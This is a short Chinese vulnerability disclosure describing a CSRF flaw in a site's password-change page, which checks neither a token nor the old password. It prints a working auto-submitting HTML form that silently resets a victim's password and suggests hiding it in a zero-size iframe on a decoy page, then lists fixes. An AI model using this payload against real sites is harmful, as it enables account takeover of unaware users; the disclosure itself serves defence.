修改密码处无验证token,并且无验证原密码(一个涉及money的站,修改密码居然没有验证原密码!!!),可以通过一个精心构造的表单欺骗用户修改密码。
<html>
<body>
<form name=”csrf” action=”http://www.go.cn/index.php?m=settings” method=”POST”>
<input type=text name=password value=”woooooooyun”></input>
<input type=text name=password2 value=”woooooooyun”></input>
<input type=text name=do value=”update”></input>
<input type=”submit” value=”submit” />
</form>
<script>
document.csrf.submit();
</script>
</body>
</html>
欺骗用户访问后,密码会被改成woooooooyun。
直接让用户访问太明显了,直接会跳转到“修改成功”的页面,所以可以准备一个看似正常的页面(如新闻),然后iframe这个POC,并且height=0,width=0,用户就会在不知情的情况下被修改密码,后果可想而知了。
修复方案:
1.修改密码一定要验证原密码
2.所有涉及用户信息的操作要验证随机的token.